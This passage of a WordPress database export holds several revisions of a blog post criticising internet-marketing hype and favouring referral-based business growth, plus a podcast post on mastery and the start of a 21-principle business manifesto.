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(2837, 2, '2015-03-23 10:54:27', '2015-03-23 17:54:27', '<img class="alignnone size-full wp-image-2834" title="The Internet marketing hustle" src="http://whc.fbdev.org/wp-content/uploads/2015/03/Big-Nose.jpg" alt="" width="495" height="272" />\r\n<h2>The secret to marketing success promoted by many “internet marketing” personalities is indeed compelling. What they all have in common is this implicit notion that building hot prospect lists, converting cold web traffic into customers willing to pay big money for your stuff online is easy. Their secret formula for marketing success is a lie.</h2>\r\nSince the dawn of time there have always been hustlers and hucksters in the marketplace. People whose only real interest is separating you from your money. I think the majority of internet marketing (particularly of sales and marketing information products) is but one more modern expression of an age old hustle–there’s a secret easy formula for success.\r\n\r\nAs a life-long entrepreneur, one thing I know without reservation from my own long experience– creating high value customers is not easy, never has been easy, nor should it be easy!\r\n<h3>Anyone who says “you too can generate $128,000 a year simply by sending out these simple email templates to convert cold web traffic” is selling you bullshit.  And like PT Barnum said long ago “there’s a sucker born every minute”.</h3>\r\nLet that not be you!\r\n\r\n<strong>News flash: marketing is no longer marketing.</strong>\r\n\r\nTrue enough, marketing is an essential discipline of which every entrepreneur and solo professional must possess at least a basic understanding.  In the hyper-connected, 24/7 digital world we live in, the available tools and channels for marketing your business have never been more ubiquitous and mostly free.\r\n\r\nOn the flip-side, there’s never been a time in human history where there is so much noise and clutter in the marketplace. The internet is now the great slush pile! Clutter is your real competition!\r\n\r\nIf you ponder deeply the ramifications of your own ever shrinking attention span, you’ll begin to realize more empathy for your target customer and their eagerness to open your randomly sent marketing emails or visit your “squeeze page”.\r\n\r\nThe idea for this post came to me while in conversation with an executive client of mine.  She explained she receives a minimum of 200 emails per day. Less than 20 of those emails require her to read and then take some form of action.\r\n\r\nShe went on to explain further how proud she was of her own clever system for deleting those unwanted solicitations. In fact, deleting marketing emails had become a daily productivity ritual–something she savored with her morning muffin and coffee.\r\n\r\n<strong>Creating high value customers requires blood, sweat and tears.</strong>\r\n\r\nIn my business career I can count on two fingers the number of clients I have won through mass marketing outreach. Without exception my successful business relationships have originated from some form of referral. Referrals are the platinum level of business development and marketing.\r\n\r\nThere are two kinds of referrals:\r\n\r\n<em>The latent referral.</em>\r\nYour name, along with several others, is casually mentioned as a possible resource or solution to a potential customer by a trusted source.\r\n\r\n<em>The blatant referral.</em>\r\nYou are highly endorsed by people who can’t wait to share their experience of doing business with you.\r\n\r\nReferrals remove the passive lookers, and instantly sets up a situation where only you are being considered to bring solutions to an active buyer. Latent referrals enhance awareness of your offerings, while blatant referrals make competition irrelevant. Both are necessary for creating high value customers and a sustainably successful business.\r\n\r\nCreating a supreme level of ‘refer-ability” in your business is the same as growing a garden. Everything starts with seeds, the right dirt, a favorable environment, and focused tender loving (work) care– and a pinch of good luck.\r\n\r\nIt also takes time.\r\n\r\nIn other words, you must do real work over time. Like all things in nature, success is plant, gestation then harvest and only in that order. What the “internet marketers” are selling you on is the compelling idea that you can remove the “gestation period” from the equation. This is simply not so. This truth will piss you off and set you free my friend.\r\n\r\nBuilding a successful business requires you <em>bake in</em> your marketing through the very experience customers have doing business with you. In time the good word gets out creating latent referrals to your offerings. Then, by delivering real value to people over time, customers and clients blatantly endorse you every chance they get.\r\n\r\nEventually, clients and customers come to you more than willing to pay the premium price to obtain your valuable solution.\r\n\r\n<strong>In this, there are no easy shortcuts, simple templates and magic formulas. Your greatness is not fast and cheap, nor will you ever experience it that way.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center.</em>\r\n\r\n&nbsp;', 'The internet marketing hustle.', 0, '', 'inherit', 'open', 'open', '', '2833-revision-v1', '', '', '2015-03-23 10:54:27', '2015-03-23 17:54:27', '', 2833, 'http://www.whitehotcenter.com/2015/03/2833-revision-3/', 0, 'revision', '', 0),
(2838, 2, '2015-03-23 10:59:03', '2015-03-23 17:59:03', '<img class="alignnone size-full wp-image-2834" title="The Internet marketing hustle" src="http://whc.fbdev.org/wp-content/uploads/2015/03/Big-Nose.jpg" alt="" width="495" height="272" />\r\n<h2>The secret to marketing success promoted by many “internet marketing” personalities is indeed compelling. What they all have in common is this implicit notion that building hot prospect lists, converting cold web traffic into customers willing to pay big money for your stuff online is easy. Their secret formula for marketing success is a lie.</h2>\r\nSince the dawn of time there have always been hustlers and hucksters in the marketplace. People whose only real interest is separating you from your money. I think the majority of internet marketing (particularly of sales and marketing information products) is but one more modern expression of an age old hustle–there’s a secret easy formula for success.\r\n\r\nAs a life-long entrepreneur, one thing I know without reservation from my own long experience– creating high value customers is not easy, never has been easy, nor should it be easy!\r\n<h3>Anyone who says “you too can generate $128,000 a year simply by sending out these simple email templates to convert cold web traffic” is selling you bullshit.  And like PT Barnum said long ago “there’s a sucker born every minute”.</h3>\r\nLet that not be you!\r\n\r\n<strong>News flash: marketing is no longer marketing.</strong>\r\n\r\nTrue enough, marketing is an essential discipline of which every entrepreneur and solo professional must possess at least a basic understanding.  In the hyper-connected, 24/7 digital world we live in, the available tools and channels for marketing your business have never been more ubiquitous and mostly free.\r\n\r\nOn the flip-side, there’s never been a time in human history where there is so much noise and clutter in the marketplace. The internet is now the great slush pile! Clutter is your real competition!\r\n\r\nIf you ponder deeply the ramifications of your own ever shrinking attention span, you’ll begin to realize more empathy for your target customer and their eagerness to open your randomly sent marketing emails or visit your “squeeze page”.\r\n\r\nThe idea for this post came to me while in conversation with an executive client of mine.  She explained she receives a minimum of 200 emails per day. Less than 20 of those emails require her to read and then take some form of action.\r\n\r\nShe went on to explain further how proud she was of her own clever system for deleting those unwanted solicitations. In fact, deleting marketing emails had become a daily productivity ritual–something she savored with her morning muffin and coffee.\r\n\r\n<strong>Creating high value customers requires blood, sweat and tears.</strong>\r\n\r\nIn my business career I can count on two fingers the number of clients I have won through mass marketing outreach. Without exception my successful business relationships have originated from some form of referral. Referrals are the platinum level of business development and marketing.\r\n\r\nThere are two kinds of referrals:\r\n\r\n<em>The latent referral.</em>\r\nYour name, along with several others, is casually mentioned as a possible resource or solution to a potential customer by a trusted source.\r\n\r\n<em>The blatant referral.</em>\r\nYou are highly endorsed by people who can’t wait to share their experience of doing business with you.\r\n\r\nReferrals remove the passive lookers, and instantly sets up a situation where only you are being considered to bring solutions to an active buyer. Latent referrals enhance awareness of your offerings, while blatant referrals make competition irrelevant. Both are necessary for creating high value customers and a sustainably successful business.\r\n\r\nCreating a supreme level of ‘refer-ability” in your business is the same as growing a garden. Everything starts with seeds, the right dirt, a favorable environment, and focused tender loving (work) care– and a pinch of good luck.\r\n\r\nIt also takes time.\r\n\r\nIn other words, you must do real work over time. Like all things in nature, success is plant, gestation then harvest and only in that order. What the “internet marketers” are selling you on is the compelling idea that you can remove the “gestation period” from the equation. This is simply not so. This truth will piss you off and set you free my friend.\r\n\r\nBuilding a successful business requires you <em>bake in</em> your marketing through the very experience customers have doing business with you. In time the good word gets out creating latent referrals to your offerings. Then, by delivering real value to people over time, customers and clients blatantly endorse you every chance they get.\r\n\r\nEventually, clients and customers come to you more than willing to pay the premium price to obtain your valuable solution.\r\n\r\n<strong>In this, there are no easy shortcuts, simple templates and magic formulas. Your greatness is not fast and cheap, nor will your customers ever experience it that way.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center.</em>\r\n\r\n&nbsp;', 'The internet marketing hustle.', 0, '', 'inherit', 'open', 'open', '', '2833-revision-v1', '', '', '2015-03-23 10:59:03', '2015-03-23 17:59:03', '', 2833, 'http://www.whitehotcenter.com/2015/03/2833-revision-4/', 0, 'revision', '', 0),
(2839, 2, '2015-03-23 10:59:07', '2015-03-23 17:59:07', '<img class="alignnone size-full wp-image-2834" title="The Internet marketing hustle" src="http://whc.fbdev.org/wp-content/uploads/2015/03/Big-Nose.jpg" alt="" width="495" height="272" />\r\n<h2>The secret to marketing success promoted by many “internet marketing” personalities is indeed compelling. What they all have in common is this implicit notion that building hot prospect lists, converting cold web traffic into customers willing to pay big money for your stuff online is easy. Their secret formula for marketing success is a lie.</h2>\r\nSince the dawn of time there have always been hustlers and hucksters in the marketplace. People whose only real interest is separating you from your money. I think the majority of internet marketing (particularly of sales and marketing information products) is but one more modern expression of an age old hustle–there’s a secret easy formula for success.\r\n\r\nAs a life-long entrepreneur, one thing I know without reservation from my own long experience– creating high value customers is not easy, never has been easy, nor should it be easy!\r\n<h3>Anyone who says “you too can generate $128,000 a year simply by sending out these simple email templates to convert cold web traffic” is selling you bullshit.  And like PT Barnum said long ago “there’s a sucker born every minute”.</h3>\r\nLet that not be you!\r\n\r\n<strong>News flash: marketing is no longer marketing.</strong>\r\n\r\nTrue enough, marketing is an essential discipline of which every entrepreneur and solo professional must possess at least a basic understanding.  In the hyper-connected, 24/7 digital world we live in, the available tools and channels for marketing your business have never been more ubiquitous and mostly free.\r\n\r\nOn the flip-side, there’s never been a time in human history where there is so much noise and clutter in the marketplace. The internet is now the great slush pile! Clutter is your real competition!\r\n\r\nIf you ponder deeply the ramifications of your own ever shrinking attention span, you’ll begin to realize more empathy for your target customer and their eagerness to open your randomly sent marketing emails or visit your “squeeze page”.\r\n\r\nThe idea for this post came to me while in conversation with an executive client of mine.  She explained she receives a minimum of 200 emails per day. Less than 20 of those emails require her to read and then take some form of action.\r\n\r\nShe went on to explain further how proud she was of her own clever system for deleting those unwanted solicitations. In fact, deleting marketing emails had become a daily productivity ritual–something she savored with her morning muffin and coffee.\r\n\r\n<strong>Creating high value customers requires blood, sweat and tears.</strong>\r\n\r\nIn my business career I can count on two fingers the number of clients I have won through mass marketing outreach. Without exception my successful business relationships have originated from some form of referral. Referrals are the platinum level of business development and marketing.\r\n\r\nThere are two kinds of referrals:\r\n\r\n<em>The latent referral.</em>\r\nYour name, along with several others, is casually mentioned as a possible resource or solution to a potential customer by a trusted source.\r\n\r\n<em>The blatant referral.</em>\r\nYou are highly endorsed by people who can’t wait to share their experience of doing business with you.\r\n\r\nReferrals remove the passive lookers, and instantly sets up a situation where only you are being considered to bring solutions to an active buyer. Latent referrals enhance awareness of your offerings, while blatant referrals make competition irrelevant. Both are necessary for creating high value customers and a sustainably successful business.\r\n\r\nCreating a supreme level of ‘refer-ability” in your business is the same as growing a garden. Everything starts with seeds, the right dirt, a favorable environment, and focused tender loving (work) care– and a pinch of good luck.\r\n\r\nIt also takes time.\r\n\r\nIn other words, you must do real work over time. Like all things in nature, success is plant, gestation then harvest and only in that order. What the “internet marketers” are selling you on is the compelling idea that you can remove the “gestation period” from the equation. This is simply not so. This truth will piss you off and set you free my friend.\r\n\r\nBuilding a successful business requires you <em>bake in</em> your marketing through the very experience customers have doing business with you. In time the good word gets out creating latent referrals to your offerings. Then, by delivering real value to people over time, customers and clients blatantly endorse you every chance they get.\r\n\r\nEventually, clients and customers come to you more than willing to pay the premium price to obtain your valuable solution.\r\n\r\n<strong>In this, there are no easy shortcuts, simple templates and magic formulas. Your greatness is not fast and cheap, nor will your customers ever experience it that way.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center.</em>\r\n\r\n&nbsp;', 'The internet marketing hustle.', 0, '', 'inherit', 'open', 'open', '', '2833-revision-v1', '', '', '2015-03-23 10:59:07', '2015-03-23 17:59:07', '', 2833, 'http://www.whitehotcenter.com/2015/03/2833-revision-5/', 0, 'revision', '', 0),
(2840, 2, '2015-03-23 11:03:06', '2015-03-23 18:03:06', '<img class="alignnone size-full wp-image-2834" title="The Internet marketing hustle" src="http://whc.fbdev.org/wp-content/uploads/2015/03/Big-Nose.jpg" alt="" width="495" height="272" />\r\n<h2>The secret to marketing success promoted by many “internet marketing” personalities is indeed compelling. What they all have in common is this implicit notion that building hot prospect lists, converting cold web traffic into customers willing to pay big money for your stuff online is easy. Their secret formula for marketing success is a lie.</h2>\r\nSince the dawn of time there have always been hustlers and hucksters in the marketplace. People whose only real interest is separating you from your money. I think the majority of internet marketing (particularly of sales and marketing information products) is but one more modern expression of an age old hustle–there’s a secret easy formula for success.\r\n\r\nAs a life-long entrepreneur, one thing I know without reservation from my own long experience– creating high value customers is not easy, never has been easy, nor should it be easy!\r\n<h3>Anyone who says “you too can generate $128,000 a year simply by sending out these simple email templates to convert cold web traffic” is selling you bullshit.  And like PT Barnum said long ago “there’s a sucker born every minute”.</h3>\r\nLet that not be you!\r\n\r\n<strong>News flash: marketing is no longer marketing.</strong>\r\n\r\nTrue enough, marketing is an essential discipline of which every entrepreneur and solo professional must possess at least a basic understanding.  In the hyper-connected, 24/7 digital world we live in, the available tools and channels for marketing your business have never been more ubiquitous and mostly free.\r\n\r\nOn the flip-side, there’s never been a time in human history where there is so much noise and clutter in the marketplace. The internet is now the great slush pile! Clutter is your real competition!\r\n\r\nIf you ponder deeply the ramifications of your own ever shrinking attention span, you’ll begin to realize more empathy for your target customer and their eagerness to open your randomly sent marketing emails or visit your “squeeze page”.\r\n\r\nThe idea for this post came to me while in conversation with an executive client of mine.  She explained she receives a minimum of 200 emails per day. Less than 20 of those emails require her to read and then take some form of action.\r\n\r\nShe went on to explain further how proud she was of her own clever system for deleting those unwanted solicitations. In fact, deleting marketing emails had become a daily productivity ritual–something she savored with her morning muffin and coffee.\r\n\r\n<strong>Creating high value customers requires blood, sweat and tears.</strong>\r\n\r\nIn my business career I can count on two fingers the number of clients I have won through mass marketing outreach. Without exception my successful business relationships have originated from some form of referral. Referrals are the platinum level of business development and marketing.\r\n\r\nThere are two kinds of referrals:\r\n\r\n<em>The latent referral.</em>\r\nYour name, along with several others, is casually mentioned as a possible resource or solution to a potential customer by a trusted source.\r\n\r\n<em>The blatant referral.</em>\r\nYou are highly endorsed by people who can’t wait to share their experience of doing business with you.\r\n\r\nReferrals remove the passive lookers, and instantly sets up a situation where only you are being considered to bring solutions to an active buyer. Latent referrals enhance awareness of your offerings, while blatant referrals make competition irrelevant. Both are necessary for creating high value customers and a sustainably successful business.\r\n\r\nCreating a supreme level of ‘refer-ability” in your business is the same as growing a garden. Everything starts with seeds, the right dirt, a favorable environment, and focused tender loving (work) care– and a pinch of good luck.\r\n\r\nIt also takes time.\r\n\r\nIn other words, you must do real work over time. Like all things in nature, success is plant, gestation then harvest and only in that order. What the “internet marketers” are selling you on is the compelling idea that you can remove the “gestation period” from the equation. This is simply not so. This truth will piss you off and set you free my friend.\r\n\r\nBuilding a successful business requires you <em>bake in</em> your marketing through the very experience customers have doing business with you. In time the good word gets out creating latent referrals to your offerings. Then, by delivering real value to people over time, customers and clients blatantly endorse you every chance they get.\r\n\r\nEventually, clients and customers come to you more than willing to pay the premium price to obtain your valuable solution.\r\n\r\n<strong>In this, there are no easy shortcuts, simple templates and magic formulas. Your greatness is not fast and cheap, nor will your customers ever experience it that way.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center.</em>\r\n\r\n&nbsp;', 'The internet marketing hustle.', 0, '', 'inherit', 'open', 'open', '', '2833-revision-v1', '', '', '2015-03-23 11:03:06', '2015-03-23 18:03:06', '', 2833, 'http://www.whitehotcenter.com/2015/03/2833-revision-6/', 0, 'revision', '', 0),
(2841, 2, '2015-03-23 11:03:10', '2015-03-23 18:03:10', '<img class="alignnone size-full wp-image-2834" title="The Internet marketing hustle" src="http://whc.fbdev.org/wp-content/uploads/2015/03/Big-Nose.jpg" alt="" width="495" height="272" />\r\n<h2>The secret to marketing success promoted by many “internet marketing” personalities is indeed compelling. What they all have in common is this implicit notion that building hot prospect lists, converting cold web traffic into customers willing to pay big money for your stuff online is easy. Their secret formula for marketing success is a lie.</h2>\r\nSince the dawn of time there have always been hustlers and hucksters in the marketplace. People whose only real interest is separating you from your money. I think the majority of internet marketing (particularly of sales and marketing information products) is but one more modern expression of an age old hustle–there’s a secret easy formula for success.\r\n\r\nAs a life-long entrepreneur, one thing I know without reservation from my own long experience– creating high value customers is not easy, never has been easy, nor should it be easy!\r\n<h3>Anyone who says “you too can generate $128,000 a year simply by sending out these simple email templates to convert cold web traffic” is selling you bullshit.  And like PT Barnum said long ago “there’s a sucker born every minute”.</h3>\r\nLet that not be you!\r\n\r\n<strong>News flash: marketing is no longer marketing.</strong>\r\n\r\nTrue enough, marketing is an essential discipline of which every entrepreneur and solo professional must possess at least a basic understanding.  In the hyper-connected, 24/7 digital world we live in, the available tools and channels for marketing your business have never been more ubiquitous and mostly free.\r\n\r\nOn the flip-side, there’s never been a time in human history where there is so much noise and clutter in the marketplace. The internet is now the great slush pile! Clutter is your real competition!\r\n\r\nIf you ponder deeply the ramifications of your own ever shrinking attention span, you’ll begin to realize more empathy for your target customer and their eagerness to open your randomly sent marketing emails or visit your “squeeze page”.\r\n\r\nThe idea for this post came to me while in conversation with an executive client of mine.  She explained she receives a minimum of 200 emails per day. Less than 20 of those emails require her to read and then take some form of action.\r\n\r\nShe went on to explain further how proud she was of her own clever system for deleting those unwanted solicitations. In fact, deleting marketing emails had become a daily productivity ritual–something she savored with her morning muffin and coffee.\r\n\r\n<strong>Creating high value customers requires blood, sweat and tears.</strong>\r\n\r\nIn my business career I can count on two fingers the number of clients I have won through mass marketing outreach. Without exception my successful business relationships have originated from some form of referral. Referrals are the platinum level of business development and marketing.\r\n\r\nThere are two kinds of referrals:\r\n\r\n<em>The latent referral.</em>\r\nYour name, along with several others, is casually mentioned as a possible resource or solution to a potential customer by a trusted source.\r\n\r\n<em>The blatant referral.</em>\r\nYou are highly endorsed by people who can’t wait to share their experience of doing business with you.\r\n\r\nReferrals remove the passive lookers, and instantly sets up a situation where only you are being considered to bring solutions to an active buyer. Latent referrals enhance awareness of your offerings, while blatant referrals make competition irrelevant. Both are necessary for creating high value customers and a sustainably successful business.\r\n\r\nCreating a supreme level of ‘refer-ability” in your business is the same as growing a garden. Everything starts with seeds, the right dirt, a favorable environment, and focused tender loving (work) care– and a pinch of good luck.\r\n\r\nIt also takes time.\r\n\r\nIn other words, you must do real work over time. Like all things in nature, success is plant, gestation then harvest and only in that order. What the “internet marketers” are selling you on is the compelling idea that you can remove the “gestation period” from the equation. This is simply not so. This truth will piss you off and set you free my friend.\r\n\r\nBuilding a successful business requires you <em>bake in</em> your marketing through the very experience customers have doing business with you. In time the good word gets out creating latent referrals to your offerings. Then, by delivering real value to people over time, customers and clients blatantly endorse you every chance they get.\r\n\r\nEventually, clients and customers come to you more than willing to pay the premium price to obtain your valuable solution.\r\n\r\n<strong>In this, there are no easy shortcuts, simple templates and magic formulas. Your greatness is not fast and cheap, nor will your customers ever experience it that way.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center.</em>\r\n\r\n&nbsp;', 'The internet marketing hustle.', 0, '', 'inherit', 'open', 'open', '', '2833-revision-v1', '', '', '2015-03-23 11:03:10', '2015-03-23 18:03:10', '', 2833, 'http://www.whitehotcenter.com/2015/03/2833-revision-7/', 0, 'revision', '', 0),
(2842, 2, '2015-03-23 11:06:22', '2015-03-23 18:06:22', '<img class="alignnone size-full wp-image-2834" title="The Internet marketing hustle" src="http://whc.fbdev.org/wp-content/uploads/2015/03/Big-Nose.jpg" alt="" width="495" height="272" />\r\n<h2>The secret to marketing success promoted by many “internet marketing” personalities is indeed compelling. What they all have in common is this implicit notion that building hot prospect lists, converting cold web traffic into customers willing to pay big money for your stuff online is easy. Their secret formula for marketing success is a lie.</h2>\r\nSince the dawn of time there have always been hustlers and hucksters in the marketplace. People whose only real interest is separating you from your money. I think the majority of internet marketing (particularly of sales and marketing information products) is but one more modern expression of an age old hustle–there’s a secret easy formula for success.\r\n\r\nAs a life-long entrepreneur, one thing I know without reservation from my own long experience– creating high value customers is not easy, never has been easy, nor should it be easy!\r\n<h3>Anyone who says “you too can generate $128,000 a year simply by sending out these simple email templates to convert cold web traffic” is selling you bullshit.  And like PT Barnum said long ago “there’s a sucker born every minute”.</h3>\r\nLet that not be you!\r\n\r\n<strong>News flash: marketing is no longer marketing.</strong>\r\n\r\nTrue enough, marketing is an essential discipline of which every entrepreneur and solo professional must possess at least a basic understanding.  In the hyper-connected, 24/7 digital world we live in, the available tools and channels for marketing your business have never been more ubiquitous and mostly free.\r\n\r\nOn the flip-side, there’s never been a time in human history where there is so much noise and clutter in the marketplace. The internet is now the great slush pile! Clutter is your real competition!\r\n\r\nIf you ponder deeply the ramifications of your own ever shrinking attention span, you’ll begin to realize more empathy for your target customer and their eagerness to open your randomly sent marketing emails or visit your “squeeze page”.\r\n\r\nThe idea for this post came to me while in conversation with an executive client of mine.  She explained she receives a minimum of 200 emails per day. Less than 20 of those emails require her to read and then take some form of action.\r\n\r\nShe went on to explain how proud she was of her own clever system for deleting those unwanted solicitations. In fact, deleting marketing emails had become a daily productivity ritual–something she savored with her morning muffin and coffee.\r\n\r\n<strong>Creating high value customers requires blood, sweat and tears.</strong>\r\n\r\nIn my business career I can count on two fingers the number of clients I have won through mass marketing outreach. Without exception my successful business relationships have originated from some form of referral. Referrals are the platinum level of business development and marketing.\r\n\r\nThere are two kinds of referrals:\r\n\r\n<em>The latent referral.</em>\r\nYour name, along with several others, is casually mentioned as a possible resource or solution to a potential customer by a trusted source.\r\n\r\n<em>The blatant referral.</em>\r\nYou are highly endorsed by people who can’t wait to share their experience of doing business with you.\r\n\r\nReferrals remove the passive lookers, and instantly sets up a situation where only you are being considered to bring solutions to an active buyer. Latent referrals enhance awareness of your offerings, while blatant referrals make competition irrelevant. Both are necessary for creating high value customers and a sustainably successful business.\r\n\r\nCreating a supreme level of ‘refer-ability” in your business is the same as growing a garden. Everything starts with seeds, the right dirt, a favorable environment, and focused tender loving (work) care– and a pinch of good luck.\r\n\r\nIt also takes time.\r\n\r\nIn other words, you must do real work over time. Like all things in nature, success is plant, gestation then harvest and only in that order. What the “internet marketers” are selling you on is the compelling idea that you can remove the “gestation period” from the equation. This is simply not so. This truth will piss you off and set you free my friend.\r\n\r\nBuilding a successful business requires you <em>bake in</em> your marketing through the very experience customers have doing business with you. In time the good word gets out creating latent referrals to your offerings. Then, by delivering real value to people over time, customers and clients blatantly endorse you every chance they get.\r\n\r\nEventually, clients and customers come to you more than willing to pay the premium price to obtain your valuable solution.\r\n\r\n<strong>In this, there are no easy shortcuts, simple templates and magic formulas. Your greatness is not fast and cheap, nor will your customers ever experience it that way.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center.</em>\r\n\r\n&nbsp;', 'The internet marketing hustle.', 0, '', 'inherit', 'open', 'open', '', '2833-revision-v1', '', '', '2015-03-23 11:06:22', '2015-03-23 18:06:22', '', 2833, 'http://www.whitehotcenter.com/2015/03/2833-revision-8/', 0, 'revision', '', 0),
(2843, 2, '2015-03-23 11:06:26', '2015-03-23 18:06:26', '<img class="alignnone size-full wp-image-2834" title="The Internet marketing hustle" src="http://whc.fbdev.org/wp-content/uploads/2015/03/Big-Nose.jpg" alt="" width="495" height="272" />\r\n<h2>The secret to marketing success promoted by many “internet marketing” personalities is indeed compelling. What they all have in common is this implicit notion that building hot prospect lists, converting cold web traffic into customers willing to pay big money for your stuff online is easy. Their secret formula for marketing success is a lie.</h2>\r\nSince the dawn of time there have always been hustlers and hucksters in the marketplace. People whose only real interest is separating you from your money. I think the majority of internet marketing (particularly of sales and marketing information products) is but one more modern expression of an age old hustle–there’s a secret easy formula for success.\r\n\r\nAs a life-long entrepreneur, one thing I know without reservation from my own long experience– creating high value customers is not easy, never has been easy, nor should it be easy!\r\n<h3>Anyone who says “you too can generate $128,000 a year simply by sending out these simple email templates to convert cold web traffic” is selling you bullshit.  And like PT Barnum said long ago “there’s a sucker born every minute”.</h3>\r\nLet that not be you!\r\n\r\n<strong>News flash: marketing is no longer marketing.</strong>\r\n\r\nTrue enough, marketing is an essential discipline of which every entrepreneur and solo professional must possess at least a basic understanding.  In the hyper-connected, 24/7 digital world we live in, the available tools and channels for marketing your business have never been more ubiquitous and mostly free.\r\n\r\nOn the flip-side, there’s never been a time in human history where there is so much noise and clutter in the marketplace. The internet is now the great slush pile! Clutter is your real competition!\r\n\r\nIf you ponder deeply the ramifications of your own ever shrinking attention span, you’ll begin to realize more empathy for your target customer and their eagerness to open your randomly sent marketing emails or visit your “squeeze page”.\r\n\r\nThe idea for this post came to me while in conversation with an executive client of mine.  She explained she receives a minimum of 200 emails per day. Less than 20 of those emails require her to read and then take some form of action.\r\n\r\nShe went on to explain how proud she was of her own clever system for deleting those unwanted solicitations. In fact, deleting marketing emails had become a daily productivity ritual–something she savored with her morning muffin and coffee.\r\n\r\n<strong>Creating high value customers requires blood, sweat and tears.</strong>\r\n\r\nIn my business career I can count on two fingers the number of clients I have won through mass marketing outreach. Without exception my successful business relationships have originated from some form of referral. Referrals are the platinum level of business development and marketing.\r\n\r\nThere are two kinds of referrals:\r\n\r\n<em>The latent referral.</em>\r\nYour name, along with several others, is casually mentioned as a possible resource or solution to a potential customer by a trusted source.\r\n\r\n<em>The blatant referral.</em>\r\nYou are highly endorsed by people who can’t wait to share their experience of doing business with you.\r\n\r\nReferrals remove the passive lookers, and instantly sets up a situation where only you are being considered to bring solutions to an active buyer. Latent referrals enhance awareness of your offerings, while blatant referrals make competition irrelevant. Both are necessary for creating high value customers and a sustainably successful business.\r\n\r\nCreating a supreme level of ‘refer-ability” in your business is the same as growing a garden. Everything starts with seeds, the right dirt, a favorable environment, and focused tender loving (work) care– and a pinch of good luck.\r\n\r\nIt also takes time.\r\n\r\nIn other words, you must do real work over time. Like all things in nature, success is plant, gestation then harvest and only in that order. What the “internet marketers” are selling you on is the compelling idea that you can remove the “gestation period” from the equation. This is simply not so. This truth will piss you off and set you free my friend.\r\n\r\nBuilding a successful business requires you <em>bake in</em> your marketing through the very experience customers have doing business with you. In time the good word gets out creating latent referrals to your offerings. Then, by delivering real value to people over time, customers and clients blatantly endorse you every chance they get.\r\n\r\nEventually, clients and customers come to you more than willing to pay the premium price to obtain your valuable solution.\r\n\r\n<strong>In this, there are no easy shortcuts, simple templates and magic formulas. Your greatness is not fast and cheap, nor will your customers ever experience it that way.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center.</em>\r\n\r\n&nbsp;', 'The internet marketing hustle.', 0, '', 'inherit', 'open', 'open', '', '2833-revision-v1', '', '', '2015-03-23 11:06:26', '2015-03-23 18:06:26', '', 2833, 'http://www.whitehotcenter.com/2015/03/2833-revision-9/', 0, 'revision', '', 0),
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(2902, 2, '2014-08-26 02:41:28', '2014-08-26 09:41:28', '<img src="http://whc.fbdev.org/wp-content/uploads/2014/08/Mastery.jpg" alt="Mastery" width="495" height="371" class="alignnone size-full wp-image-2761" />\r\n\r\nOur popular business literature is full of proclamations on what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. According to the conventional wisdom after that amount of time invested you’re considered to be a master.\r\n\r\nMastery is not about the time you put in because, in itself, mastery is timeless. In this podcast, I share some ideas about mastery and what’s really involved in being a Master Jedi style.\r\n\r\nPlease share your comments and if you found this helpful, please subscribe to the White Hot Center!', 'WHC Podcast: In Search of Mastery.', 0, '', 'publish', 'open', 'closed', '', 'whc-podcast-in-search-of-mastery', '', '', '2015-10-05 19:10:46', '2015-10-06 02:10:46', '', 0, 'http://whc.fbdev.org/?post_type=podcast&#038;p=2902', 0, 'podcast', '', 0),
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(2974, 1, '2015-10-05 18:40:51', '2015-10-06 01:40:51', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  </span></h2>\r\n<h2><span style="color: #ff6600;">Manifesto comes from the Latin word manifestus, which means to make obvious.  These 21 guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<h2><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must serve others</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">meaning + contribution = a life of significance.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive\r\nin cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key\r\nto wealth.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span 